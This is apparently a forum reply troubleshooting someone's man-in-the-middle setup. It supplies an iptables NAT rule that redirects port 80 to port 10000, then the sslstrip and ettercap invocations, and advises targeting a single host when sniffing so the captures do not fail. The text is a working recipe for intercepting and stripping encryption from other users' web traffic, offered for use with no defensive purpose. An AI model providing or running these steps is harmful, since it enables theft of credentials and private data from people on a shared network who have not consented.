You forgot to tell iptables to redirect traffic. After enabling ip_forward as you did, type:
"iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000"
After that, run "sslstrip -a -k" and then ettercap with your options.
I recommend not adding all hosts (// //) to the hosts list cause it might crash the network or cause errors in the captures/replies. It's best to target a specific host when sniffing.
Let us know if it worked =]